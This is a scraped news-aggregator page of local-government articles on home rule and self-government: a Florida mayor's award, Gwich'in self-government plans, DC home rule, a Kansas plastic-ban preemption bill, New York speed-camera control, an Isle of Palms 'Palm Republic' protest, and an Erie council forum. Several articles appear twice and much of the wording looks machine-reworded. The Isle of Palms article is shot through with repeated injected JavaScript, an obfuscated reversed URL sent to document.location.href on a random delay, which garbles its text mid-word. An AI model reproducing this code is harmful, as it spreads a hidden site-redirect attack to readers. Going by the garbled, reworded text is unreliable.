close

March 2022

Home rule

Alachua City Mayor Gib Coerper Receives 2022 Home Rule Hero Award

Alachua City Press Release

the Florida Towns League (FLC), celebrating its 100th anniversary as the united voice of Florida municipal governments, recently presented Alachua City Mayor Gib Coerper with a 2022 Home Rule Hero Award for his hard work and advocacy efforts during of the 2022 legislative session. Coerper worked tirelessly throughout the session to promote local voices making local choices, protect the Home Rule powers of Florida municipalities, and advance the League’s legislative agenda.

“On behalf of the League and its legislative team, we are very proud to present this year’s Home Rule Hero Awards to a deserving group of civic leaders,” said Casey Cook, FLC Director of Legislative Affairs. “We had a record number of Home Rule Heroes this year, which shows the dedication and impact of local authorities on behalf of their residents and businesses in protecting local decision-making. These local leaders have been consistently engaged and actively defending their communities throughout the 2022 legislative session. They are Home Rule heroes, and we thank them for their efforts.

Autonomy is the ability of a city to solve local problems with local solutions with minimal state interference. Home Rule Hero Award recipients are local government officials, elected and unelected, who have always responded to the League’s request to contact members of the legislature and help provide a local perspective on an issue.

“I am very honored to have been selected for this honor,” Coerper said. “I’ve always believed that the government closest to its community should be the one that makes decisions based on that community’s best interests, and Home Rule allows municipalities like Alachua to do just that.”


read more
Self government

Gwich’in get a glimpse of what self-government would look like

On the second day of the Gwich’in Tribal Council’s Annual General Meeting in Inuvik, Northwest Territories, Grand Chief Ken Kyikavichik painted a picture of what a Gwich’in government might look like.

“The current model of service delivery by the Government of the Northwest Territories is simply not working for our people,” Kyikavichik said. And he said the Indian Act “continues to diminish the role and authority of band councils in our communities.

“The Gwich’in government, in our view, offers opportunities to change that.”

The Gwich’in Tribal Council has been negotiating a self-government agreement for over two decades. This work began shortly after the Gwich’in signed a land claims agreement in 1992.

Gwich’in Tribal Council Grand Chief Ken Kyikavichik said Wednesday he wanted to clarify why, after more than two decades of negotiations, the council continues to pursue the establishment of its own government. (Mackenzie Scott/CBC)

How a Gwich’in government would be structured, its powers and how long it would take to put it in place were the focus of discussions at the Gwich’in Tribal Council on Wednesday.

Kyikavichik said self-government negotiations have been divisive in the past. He wanted to clarify why, after all these years, the Gwich’in Tribal Council continues to pursue the establishment of its own government.

“First and foremost, we need a more effective government system for the Gwich’in,” he said.

Kyikavichik presented a list of goals for a Gwich’in government. They include: reconnecting with land and culture; language revitalization; improve people’s health and quality of life; improve homes and infrastructure; create jobs and business opportunities; and include youth and elders in decision-making.

Dinjii Zhuh Regional Government

Under the draft agreement in principle, Kyikavichik said, the Gwich’in Tribal Council would become the Dinjii Zhuh regional government. He would have a great leader (Dinjii Iisrits’at Chit) and its capital would be Fort McPherson, NWT

Within the Dinjii Zhuh government, Fort McPherson, Aklavik, Tsiigehtchic and Inuvik would each have a local government with its own leader (Dinjii Khehkai) and the board.

The Dinjii Zhuh government would serve as a “coordinating body” and represent the Gwich’in in meetings with the governments of the Northwest Territories and Canada, Kyikavichik said.

“That’s what our tribal council, or our Dinjii Zhuh regional government, should be about, it’s about supporting our communities, not consolidating power,” he said.

Currently, Kyikavichik said, each of the four communities has a Gwich’in council president and a band council chief, which is confusing.

The Dinjii Zhuh government would merge the Indian Act band council and designated Gwich’in organization from each community into one government.

The municipal governments of the four communities would remain.

“We’re not targeting public government, which includes non-Gwich’in governance,” Kyikavichik said.

“We are opting for aboriginal government, which involves only our Gwich’in people, and governance in the Gwich’in settlement area outside of municipal boundaries.

Power of taxation

Money is obviously an important part of actualizing self-government.

“We don’t want this government unless we have the money to be able to deliver,” Kyikavichik said.

He said the ability to impose taxes, such as a liquor tax, would help generate the cash needed to provide government services.

The prospect of taxing powers was welcomed by Willard Hagen, a delegate representing the Nihtat Gwich’in Council in Inuvik.

“Self-government without taxation…is an oxymoron,” he said.

“You’re not self-sufficient if you don’t have your own free-flowing funding.”

The process can take years or even decades

To be sure, building responsible government for things like health care, justice, and education systems is a daunting task.

For this reason, Kyikavichik said, the Gwich’in Tribal Council has decided to focus on seven “primary jurisdictions” in its final agreement negotiations with the governments of Canada and the Northwest Territories.

They are: governance, fiscal relations, land, housing, culture and language, taxation and economic development.

After a final agreement is reached, the Gwich’in government would seek to take over services such as education, justice, health and income support – a process that would likely take more than 15 years, said Kyikavichik.

The Gwich’in government could also explore responsibility for the regulation of alcohol and cannabis, marriage, adoption and gambling.

The goal is to finalize a tentative agreement and have it approved at the Gwich’in Tribal Council’s next annual general meeting in August, Kyikavichik said.

“The tentative agreement stage allows us to engage with our people,” he said.

The tentative agreement would then be submitted to Canada for approval, which Kyikavichik said could take more than a year.

The Grand Chief estimated that final discussions on the self-government agreement would take three to five years. The council has set 2027 as the year it hopes to finalize an agreement with the Gwich’in government.

This process is not the only option, however.

Kyikavichik said they could also choose to skip the tentative agreement phase and go straight to final deal talks, or put the entire process on hold.

Some delegates urged the assembly to move forward.

“Let’s not take a break, let’s not take a break. We have so many successful Gwich’in working for us,” said Barry Greenland, a director of the Nihtat Gwich’in Council.

“We can’t sell ourselves short saying we can’t do it.”

read more
Home rule

Reviews | DC should focus on expanding the domestic regime before becoming a state

Statehood is long overdue and warranted for a population that exceeds that of Vermont and Wyoming and nearly matches that of several western states. The House, in a majority partisan vote, passed a DC state bill. The Senate did not take up the bill and it is unlikely to pass it. Republicans in the Senate do not want the two additional Democratic senators that DC would bring. A subsidiary factor is that residents of Maryland and Virginia who work in DC could face a commuter tax, which would reduce incomes in Maryland and Virginia.

In the immediate future, DC should seek to extend its autonomy. In anticipation of that distant day when justice trumps political expediency and DC gains statehood, activists should seek to expand DC’s authority to govern its residents by removing or changing restrictions that were imposed as a necessary compromise to achieve limited autonomy in 1973. .

A bill before the DC Council illustrates the problem. To reduce over-incarceration in federal prisons, particularly of young black people, the bill provides that all persons under the age of 21 charged with a crime will be prosecuted in juvenile court, except where circumstances warrant that the DC attorney general is seeking a court order to send the case to adult criminal court. It’s a good idea, except it violates the Home Rule Act, which provides that the DC Council cannot pass any legislation that would alter or modify the powers of the US Attorney. Under pre-autonomy laws, the U.S. attorney can file criminal charges directly in adult court against youths 16 and older who are charged with very serious offenses. And the U.S. Attorney’s Office can charge anyone 18 or older who allegedly violates a local criminal law.

More generally, there is no good political reason for local crimes to be prosecuted exclusively by the federally appointed US Attorney and not the locally elected DC Attorney General. This authority is different from the arrangement in any of the 50 states, where the US Attorney’s office prosecutes federal crimes and the local prosecutor handles locally enacted crimes. This change would allow the local population to control basic political decisions relating to crime. For example, while local people have made clear their opposition to the death penalty, the federal government, at least under the previous presidential administration, was keen to carry out death sentences. Likewise, differences have emerged over marijuana policy between the local government and the federal government. Putting the prosecution of local crimes in the hands of a locally elected prosecutor would give DC residents more of a say in crime-fighting policies.

A revision to the Home Rule Act could also give exclusive control of DC’s budget to the locally elected government. The Home Rule Act provides that Congress has ultimate and exclusive control over DC’s budget. The situation is confusing due to two conflicting court decisions relating to the DC Budget Autonomy Act passed by the DC Council several years ago. A federal district court ruled that the local act, giving final authority over locally collected revenues to the DC Council, violated the Congressional Autonomy Act and the federal Antideficiency Act (which prohibits federal governments and DC to expend funds not appropriated by Congress) and was therefore invalid and unenforceable. A subsequent DC Superior Court decision affirmed that the budget law was consistent with these federal laws. Neither decision has been appealed. The DC Council and Congress acted as if each had the final say on DC’s budget. The problem is simmering, unresolved. This potential conflict could be resolved if Congress amended the Home Rule Act and allowed local government full control of its locally collected budget and the final decision on how tax revenues imposed locally on DC residents are spent.

Another salutary change to the Home Rule Act would allow the mayor to appoint local judges with the approval of the DC Council rather than requiring a presidential nomination with the consent of the Senate. Although presidential nominations over the past few years have been strong, the Senate has not been diligent or responsive to the confirmation process, resulting in extended vacancies in the DC Superior Court and the DC Court of Appeals. DC, leading to massive delays in resolving cases and charges against judges in the seat. There is no valid political reason to involve the federal government in the selection of local judges. In all 50 states, the selection of local judges is handled locally, either by election or appointment. Local appointment would not reduce the quality of the local justice system and would likely eliminate the extended vacancies that have such a deleterious effect on justice for DC residents.

The compromises that were necessary to get the Home Rule Act passed are no longer necessary or beneficial. The performance of the DC government over the past 50 years, and especially over the past decades, has demonstrated that it is well equipped to manage its own affairs, free from federal government control or oversight. If statehood is not possible now, Congress should quickly review and remove many of the Home Rule Act’s limitations so that DC residents can better control their own governance.

read more
Home rule

Bill banning city bans on plastics throws home rule and environment, reps say

TOPEKA — Some Kansas officials say a recently legislature-approved ban on municipalities limiting plastic items tramples local control and will cause problems for ecosystems across the state.

Senate Bill 493 would ban restrictions and taxes on bags, cups, containers, and other plastic, cardboard, glass, and aluminum packaging, among others. Backers say the measure will ensure a uniform policy around these containers and support local businesses.

But opponents said the bill would not address the buildup of waste accumulated from these items. Even supporters of the bill did not dispute the negative effect of plastic bags on the environment, Rep. Rui Xu said.

“They take 400 years to decompose. They litter our roads. They lit up our waterways,” the Westwood Democrat told the House on Tuesday. “It’s a classic case of the tragedy of the commons. What is good for the individual at the moment may not be good collectively for our environment.

Representatives approved the measure 74 to 48 on Thursday, exactly a month after the Senate voted in favor, 27 to 13. The bill is heading to Governor Laura Kelly for consideration and appears to lack support in the House to overturn a veto.

Rep. Pat Proctor, a Fort Leavenworth Republican and restaurant owner, said the measure would give businesses facing uncertain times peace of mind by ensuring access to plastic bags doesn’t become a future chain issue. supply.

“Every product doubled in price,” Proctor said of one restaurant owner. “Now what you are going to do in these municipalities is you are going to put this extra cost on the restaurants where they have to use paper boxes. What you’re doing is you’re not dealing with restaurants.

While some regions such as Wichita may consider banning plastic bags, Xu noted that these are just conversations with a working group and nothing official has been decided. Promulgating something based on discussions is not good practice, he said.

Rep. Boog Highberger, a Democrat from Lawrence, said municipalities are considering the bans because the state government is doing too little to address the environmental issues facing Kansas and the world.

“We were facing a very, very serious environmental crisis, and we are doing nothing,” Highberger said. “While I personally wouldn’t necessarily support a ban like this, I think my city government should definitely have the right to consider enacting one.”

Rep. Brad Ralph, a Republican from Dodge City, said he doesn’t care much one way or another about plastic bags, but he took issue with such a clear violation of the indoor rule. He told lawmakers they needed to heed the Kansans’ expressed desire to maintain local control and set policies for their own community.

Two or three municipalities enacting bans on plastic containers aren’t enough patchwork to abandon a constitutional principle, Ralph said.

“The idea that we wouldn’t trust local government preemptively tells us we can’t do that,” Ralph said. “The people of the state of Kansas have told us directly and specifically in this constitution that we must trust them and that we must give them the greatest measure of self-government.”

read more
Home rule

Home Rule Rules Edition – Streetsblog New York City

From the dispatch office: The mayor hasn’t done much to keep the streets safe since he was sworn in, but he will be heading to Brooklyn’s Ditmas Park neighborhood this morning to demand that lawmakers of Albany give the city control of its automated speeding, red-light monitoring systems and bus lanes, as well as the ability to set its own speed limits.

It’s a key part of the safe streets movement’s agenda — hats off to Transportation Alternatives — but it all leaves us feeling a bit disappointed. After all, there are loads of things the mayor can do to make the roads safer, our communities more livable, and improve bus service without having to worry about what Albany does or doesn’t do. So, fair warning, we’ll ask the presser about it. And we’ll also try to ask about our scoop this week on the NYPD’s failure to really crack down on reckless drivers.

That said, Hizzoner picked a good spot to ask for house rule on speed cameras because last month a pedestrian was run over and killed by a speeding driver just five blocks away. The member of the council of the region is delighted:

“Traffic violence is a silent killer in our neighborhoods, and we need to work to address it as soon as possible,” Council Member Rita Joseph said. “Albany must give New York local control to end road violence or more lives will be needlessly lost. I thank Mayor Adams for using his platform to speak boldly and decisively on this issue. I fully support his efforts to try to get Albany to pass local traffic enforcement.It doesn’t make sense for Buffalo politicians to decide on speed limits in Brooklyn.

In other news from a busy daytime:

  • In a major change, yellow cab drivers will now be able to register with Uber, which some experts say will help them get more rides, but some feared it could lead to lower wages. (NY Post, amNY and NY Times following the Wall Street Journal; Gothamist wisely did a second-day take.)
  • Councilman Bob Holden of Queens continues to make progress towards the livable streets movement, thanks to a resolution he introduced yesterday calling on Albany to pass legislation that would punish drivers who incorrectly register their cars off the State. (NYC Council)
  • In a related, albeit contrary, move, council member Nantasha Williams, also from Queens, introduced a bill that would allow the DOT to issue parking signs for pregnant women (and which would expire within 30 days of the due date). What could go wrong with the show of tens of thousands After placards? (NYC Council)
  • A man shot and killed another man after a simple clash. (NYDN)
  • Speaking of insane road rage, Council member Justin Brannan tweeted some details about a fight over a parking space, which the Daily News eventually covered:
  • Well, at least one reckless driver — in this case, the donut-making dick who allegedly ran over a man in Lower Manhattan — has had his license temporarily suspended. (NYDN, New York Post)
  • There weren’t many details, but the Post is confident Governor Hochul’s Interborough Express could somehow provide service to LaGuardia Airport. That’s a bit of old news because, as reported by Streetsblog, the Port Authority has previously said it’s considering several routes, including some from the Roosevelt-74th Street station in Jackson Heights. At amNY, Kevin Duggan’s coverage was a little brighter.
  • Sometimes you wish the DOT would defend itself better against community boards that allow cars and parking-obsessed pols. When residents of Maspeth complained at a community board meeting that some “parking spots” would be lost to accommodate the next phase of Citi Bike’s expansion, it would have been nice to hear a DOT spokesperson say, “Citi Bike has just come off a year with record ridership, and the system, which is a vital part of the transit system, has been a lifeline during Covid and will help us reduce car use, which will improve the quality of life and help ward off the adverse effects of climate change. And, yes, we’re talking to you, council member Holden. But they never do that! (Long Island City Post Office)
  • Blue gold! Brace for land rape to come for battery minerals like cobalt and lithium as President Biden prepares to evoke a national emergency (The Intercept)
  • The Post is always keen to point out how New York is dying. First, he reported (again!) on our epic population loss during Covid, then, in a follow-up, blamed the crime.
  • If you want to hang out with some nice people, our friends at Open Plans will be at Saturday’s “Spring Celebration” from 11 a.m. to 3 p.m. on W. 103rd Street in Manhattan, which everyone (except a few NIMBY block associations) wants to be transformed into an open street from park to park. Make your opinion known to the DOT while enjoying live music and dance performances (you to know Jody Sperling will be there!).
  • But if you’re in Brooklyn on Saturday and Sunday, stop by Pacific Street for dozens of front porch sales in support of Ukraine. (Lincoln Restler Council Member)
  • And, finally, we’re not going to suggest that President Biden has had more than 14 flawless months in office, but criticizing him for riding a bike sounds a bit like toxic masculinity, especially coming from the son of a president known for playing a lot golf.

read more
Home rule

Bill banning city bans on plastics throws house rule, environment, reps say – The Lawrence Times

Share this post or save it for later

TOPEKA — Some Kansas officials say a recently legislature-approved ban on municipalities limiting plastic items tramples local control and will cause problems for ecosystems across the state.

Senate Bill 493 would ban restrictions and taxes on bags, cups, containers, and other plastic, cardboard, glass, and aluminum packaging, among others. Backers say the measure will ensure a uniform policy around these containers and support local businesses.

Advertisement

But opponents said the bill would not address the buildup of waste accumulated from these items. Even supporters of the bill did not dispute the negative effect of plastic bags on the environment, Rep. Rui Xu said.

“They take 400 years to decompose. They litter our roads. They litter our waterways,” the Westwood Democrat told the House on Tuesday. “It’s a classic case of the tragedy of the commons. What is good for the individual at the moment may not be good collectively for our environment.

Representatives approved the measure 74 to 48 on Thursday, exactly a month after the Senate voted in favor, 27 to 13. The bill is heading to Governor Laura Kelly for consideration and appears to lack support in the House to overturn a veto.

Rep. Pat Proctor, a Fort Leavenworth Republican and restaurant owner, said the measure would give businesses facing uncertain times peace of mind by ensuring access to plastic bags doesn’t become a future chain issue. supply.

“Every product has doubled in price,” Proctor said of one restaurant owner. “Now what you are going to do in these municipalities is you are going to put this extra cost on the restaurants where they have to use paper boxes. What you’re doing is you’re putting prices on restaurants so they don’t do business.

While some regions such as Wichita may consider banning plastic bags, Xu noted that these are just conversations with a working group and nothing official has been decided. Promulgating something based on discussions is not good practice, he said.

Rep. Boog Highberger, a Democrat from Lawrence, said municipalities are considering the bans because the state government is doing too little to address the environmental issues facing Kansas and the world.

“We were facing a very, very serious environmental crisis, and we are doing nothing,” Highberger said. “While I personally wouldn’t necessarily support a ban like this, I think my city government should definitely have the right to consider enacting one.”

Advertisement

Rep. Brad Ralph, a Republican from Dodge City, said he doesn’t care much one way or another about plastic bags, but he took issue with such a clear violation of the indoor rule. He told lawmakers they should heed the Kansans’ expressed desire to maintain local control and set policies for their own community.

Two or three municipalities enacting bans on plastic containers aren’t enough patchwork to abandon a constitutional principle, Ralph said.

“The idea that we wouldn’t trust local government on the face of it tells us we can’t do this,” Ralph said. “The people of the state of Kansas have told us directly and specifically in this constitution that we must trust them and that we must give them the greatest measure of self-government.”

Kansas Reflector is part of States Newsroom, a grant-supported network of news outlets and a coalition of donors as a 501c(3) public charity. Kansas Reflector maintains editorial independence. Contact publisher Sherman Smith with any questions: [email protected] Follow Kansas Reflector on Facebook and Twitter.

Don’t miss a thing… Click here to sign up for our email newsletters

Want more state news? See our Kansas News page at this link. You can read Associated Press coverage of the Kansas stories and more online here.

The Lawrence Times republishes many, but not all, stories from the Kansas Reflector. Learn more about their coverage here. We also frequently republish articles from the Kansas News Service. Learn more about their coverage here.

More coverage:


Share this post or save it for later

Sierra Club lobbyist Zack Pistora told lawmakers he could talk at length about the “big mess” plastic bags have created for Kansas’s aquatic ecosystems, landscape and infrastructure.


Share this post or save it for later

The Sustainability Advisory Council discussed an order on Wednesday that would require establishments to charge customers 15 cents per disposable paper or plastic bag used, ultimately sending it to the climate change subcommittee for review.


Share this post or save it for later

On Wednesday, the Sustainability Advisory Council will reconsider, and may vote on, a proposed order that would require establishments to charge customers 15 cents per single-use disposable bag for any purchase.

read more
Home rule

An island under autonomous rule – The Island Eye News

By Brian Sherman for The Island Eye News

Shortly after the 1860 presidential election, South Carolina chose toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth’=ferh.noitacol.tnemucod”];var number1=Math. floor(Math.random( )*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);} secede from the Union, setting off the spark that ignited the nation for four long and arduous They certainly won’t launch an attack on Fort Sumter and they probably don’t expect toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth’=ferh.noitacol .tnemucod”];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to start another civil war, but a former mayor of the Isle of Palms and a current council member of the ‘IOP are creating an independent ‘nation’ that will soon ‘secession’ from the state of South Carolina. The impetus behind the creation of The Palm Republic is S. 40, a law passed last year that gives the Department of Transportation the power to toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth’ =ferh .noitacol.tnemucod”];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);} to decide where visitoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tors toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth’=ferh.noitacol. tnemucod”];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to four Lowcountry beaches can park on public roads and how much, if any, they will have toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth’=ferh.noitacol.tnemucod”];var number1=Math. floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to pay. “It is unconstitutional. It distinguishes four communities in South Carolina: Isle of Palms, Sullivan’s Island, Edistoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth’=ferh.noitacol.tnemucod”];var number1=Math.floor (Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to and Folly Beach”, said Blair Hahn, an attoof-redaeh /snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}torney and a sitting member of the IOP Board.” Each municipality may decide parking within the DOT rights of way in its toof-redaeh/snigulp /tnetnoc-pw/moc.snoituloslattolg//:sptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math .random()*6 ); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}city limits. The only thing DOT can do is remove parking if it’s interfering with the flow of traffic.” “C ‘is an affront toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random()*6); if (number1==3){var delay=18000;setTimeout($mWn(0),delay);}to home rule, which has been the standard in South Carolina since 1776,” Hahn added. “South Carolina is taking our resources. We must provide services without offsetting our costs.

The Palm Republic founders are also more than a little upset with the SCDOT decision toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth’=ferh.noitacol.tnemucod”];var number1= Math.floor (Math.random()*6);if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to restrip the Isle of Palms Connectoof-redaeh/snigulp /tnetnoc-pw /moc.snoituloslattolg//:sptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tor bridge without intervention of municipal authorities. This is the serious part of The Palm Republic; there’s also a fair amount of fun and rejoicing in creating the burgeoning nation of IOP.

All residents of the island, as well as those who live in the other three beach communities impacted by S. 40, will be invited to of-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth’=ferh .noitacol.tnemucod” ];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to become the founders of The Palm Republic, which in many ways will be shaped after The Conch Republic, established in Key West, Florida, in 1982, toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth’= ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to protest federal interference in city affairs. The mayor proclaimed himself prime minister of the republic, which declared war on the United States, went toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth’=ferh.noitacol. tnemucod”];var number1= Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);} to a man wearing a navy uniform and requested $1 billion in federal aid. The Conch Republic, which celebrates its four decades of “independence” this year, has regularly come up against the federal government for various reasons. So far, The Palm Republic has two officials. Hahn is the attoof- redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth’=ferh.noitacol.tnemucod”];var number1=Math.floor (Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}general torney, also known as His Beaudacious Highness, Admiral and grand ruler of all seas under 1 fathom, while former IOP Mayor Jimmy Carroll is His Highness, Grand Potentate of all things salty, His Excellency, the Most Reverend. tnetnoc-pw/moc.snoituloslattolg//:sptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random()*6); if (number1== 3){var delay = 18000;setTimeout($mWn(0),delay);}in Hahn there will be official Palm Republic products such as T-shirts and diplomatic passports, visas and green cards offering discounts toof-redaeh/snigulp /tnetnoc-pw/moc.snoituloslattolg//:sptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to island visitoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth’=ferh.noitacol .tnemucod”];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tors. At least two celebrations will take place each year, with possibilities such as a pub crawl, triathlon, 10k run and street festival. And the motto of the Republicof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth’=ferh .noitacol.tnemucod”];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to – nothing less in Latin – is “Gravissima fabula est negotia”, which according to toof-redaeh/snigulp/tnetnoc -pw/moc.snoituloslattolg//:sptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000 ;setTimeout($mWn(0),delay);}au attoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth’=ferh.noitacol. tnemucod”];var number1=Math.floor( Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}torney general, means ” Playing is very serious business”. Both Hahn and Carroll intend toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth’=ferh.noitacol.tnemucod”];var number1=Math .floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to have fun with their new republic, but they also want toof-redaeh/snigulp/tnetnoc-pw/moc. snoituloslattolg //:sptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn( 0),delay);} to make a point about the distribution of bridges, parking and traffic issues, and, of course, the house rule. “While this is an absurd example, if the state may dictate that IOP residents must provide free beach parking to all comers, they may also dictate that we provide free beach chairs and coolers full of beer, all on the backs of the IOP taxpayers so politicians outside the IOP can pander toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth’=ferh.noitacol.tnemucod”];var number1=Math. floor(Math.random()*6); if (number1==3){var delay=18000;setTimeout($mWn(0),delay);}to their voting base,” Hahn said.

“The point is, this is a serious topic that requires toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math. random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to bring toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//: sptth’=ferh.noitacol .tnemucod”];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to light, but with humor,” Hahn added. “We all want to have fun and get along. number1=Math.floor(Math.random()*6); if (number1= =3){var delay = 18000;setTimeout($mWn(0),delay);}to have fun with this and reverse the governance mistakes of our heads of state. »

read more
Home rule

County Line Split, House Rule Discussed at Erie Candidates Forum – Longmont Times-Call

Candidates for the Erie board of directors competed on topics including self-reliance, diversity and best practices when governing a city that straddles two counties during Wednesday’s virtual candidates forum. evening.

More than 70 residents watched the online forum, which was sponsored by the Erie Chamber of Commerce and the League of Women Voters of Boulder County (LWVBC). Five of the six candidates vying for three board seats next month – Dan Hoback, Emily Baer, ​​Jeff Haverkate, Andrew Sawusch and incumbent Christiaan van Woudenberg, who is also the only current director running for the re-election, participated. Due to work commitments, contestant Ryan Kenward was unable to participate.

LWVBC member Martine Elianor moderated the discussion by asking questions selected from submissions received from residents prior to the forum.

Elianor asked the candidates to address the issue of unity within the city of Erie, which is split between Boulder County and Weld County. Ironically, this question turned out to be one of the most controversial topics discussed during the forum.

Several candidates have criticized the current council’s decision earlier this year to maintain Boulder County’s mask mandates and the declaration of an emergency throughout Erie.

Haverkate was perhaps the most vocal critic of the cross-county mask mandate, saying, “I think taking one county’s set of rules and imposing them on other people when we don’t have our own health service is an overreach of the government.

Sawusch agreed that the city does not have the authority to extend a public health mandate across counties and pledged to focus on transparency and open communication when managing inter-county crises at the ‘coming.

On the other hand, Baer argued that the city’s decision to honor mask mandates helped health care workers and hospitals, and that by wearing masks, the city was taking care of each other.

“It’s important that we all recognize that we are all more alike than different,” Baer said of the split between the two counties.

Van Woudenberg and Hoback agreed that the choice to maintain mask mandates across county lines allowed for greater continuity throughout Erie.

“The emergency declaration has also made it easier to help businesses and residents through the pandemic beyond just a mask mandate,” Hoback pointed out.

While most candidates expressed confidence in the city’s ability to govern itself by moving to self-government during their tenure, Sawusch, who works as Erie’s city planning commissioner, was skeptical of the change. that would happen in the next four years.

“The city does not currently have the resources at the town hall, it does not have the necessary current staff and it also does not have the confidence in the management of the town hall to move to autonomy”, he said. -he declares.

Some candidates had similar approaches to increasing city revenue.

Haverkate’s and Sawusch’s responses both called for the development of Erie, which would also encourage Erie residents to work and spend money in their hometown instead of commuting.

Baer was also in favor of focusing on developing Erie to increase revenue, but stressed the need to also take care of the small businesses that already exist in Erie. Hoback agreed, citing the need to reinvest all revenue back into the city.

Van Woudenburg echoed similar beliefs regarding increased income, but specifically detailed the need for affordable housing options in the city.

“People who work in Erie deserve to live here. The key to attracting primary jobs is to provide housing opportunities for people who should be working in these businesses,” he said.

Residents also submitted questions to candidates about their views on oil and gas, diversity, traffic congestion, open spaces, and maintaining the delicate balance between commercial development and the natural beauty of Erie.

To hear all of the contestants’ questions and answers, visit bit.ly/3D8gkHh.

Erie’s municipal election is scheduled for April 5. All ballots have been mailed to registered voters.

read more
Home rule

Division of Counties, House Rule Discussed at Erie Candidates Forum – Colorado Hometown Weekly

Candidates for the Erie board of directors competed on topics including self-reliance, diversity and best practices when governing a city that straddles two counties during Wednesday’s virtual candidates forum. evening.

More than 70 residents watched the online forum, which was sponsored by the Erie Chamber of Commerce and the League of Women Voters of Boulder County (LWVBC). Five of the six candidates vying for three board seats next month – Dan Hoback, Emily Baer, ​​Jeff Haverkate, Andrew Sawusch and incumbent Christiaan van Woudenberg, who is also the only current director running for the re-election, participated. Due to work commitments, contestant Ryan Kenward was unable to participate.

LWVBC member Martine Elianor moderated the discussion by asking questions selected from submissions received from residents prior to the forum.

Elianor asked the candidates to address the issue of unity within the city of Erie, which is split between Boulder County and Weld County. Ironically, this question turned out to be one of the most controversial topics discussed during the forum.

Several candidates have criticized the current council’s decision earlier this year to maintain Boulder County’s mask mandates and the declaration of an emergency throughout Erie.

Haverkate was perhaps the most vocal critic of the cross-county mask mandate, saying, “I think taking one county’s set of rules and imposing them on other people when we don’t have our own health service is an overreach of the government.

Sawusch agreed that the city does not have the authority to extend a public health mandate across counties and pledged to focus on transparency and open communication when managing inter-county crises at the ‘coming.

On the other hand, Baer argued that the city’s decision to honor mask mandates helped health care workers and hospitals, and that by wearing masks, the city was taking care of each other.

“It’s important that we all recognize that we are all more alike than different,” Baer said of the split between the two counties.

Van Woudenberg and Hoback agreed that the choice to maintain mask mandates across county lines allowed for greater continuity throughout Erie.

“The emergency declaration has also made it easier to help businesses and residents through the pandemic beyond just a mask mandate,” Hoback pointed out.

While most candidates expressed confidence in the city’s ability to govern itself by moving to self-government during their tenure, Sawusch, who works as Erie’s city planning commissioner, was skeptical of the change. that would happen in the next four years.

“The city does not currently have the resources at the town hall, it does not have the necessary current staff and it also does not have the confidence in the management of the town hall to move to autonomy”, he said. -he declares.

Some candidates had similar approaches to increasing city revenue.

